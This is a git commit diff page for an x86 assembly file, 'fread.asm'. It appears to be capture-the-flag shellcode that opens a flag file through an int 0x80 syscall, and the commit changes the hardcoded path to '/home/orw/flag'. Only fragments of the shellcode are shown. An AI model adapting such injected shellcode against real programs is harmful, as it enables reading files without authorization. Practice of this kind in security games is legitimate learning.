summaryrefslogtreecommitdiff
path: root/fread.asm
diff options
context:
space:
mode:
authorBrett Weiland <brett_weiland@bpcspace.com>2020-10-27 05:45:54 -0500
committerBrett Weiland <brett_weiland@bpcspace.com>2020-10-27 05:45:54 -0500
commiteac4f540f0e7ae16ff9b58d0d91eb70a98f00bc5 (patch)
treed62fc0b34b40fea9e75968516a81fad094fe266a /fread.asm
parentfde539741a42a29e39cc25d34b95e34978fe902c (diff)
modified: freadHEADmaster
modified: fread.asm modified: fread.o modified: payload
Diffstat (limited to 'fread.asm')
-rw-r--r--fread.asm4
1 files changed, 2 insertions, 2 deletions
diff --git a/fread.asm b/fread.asm
index d02753a..03c2ab7 100644
--- a/fread.asm
+++ b/fread.asm
@@ -9,7 +9,7 @@ xor ecx, ecx ; arg2
xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000
pop ebx
-mov [ebx + 18], ecx ; arg1
+mov [ebx + 15], ecx ; arg1
int 0x80
;eax now contains our file descriptor.
@@ -33,5 +33,5 @@ int 0x80
data:
call str_found
-db "/home/indigo/flag"
+db "/home/orw/flag"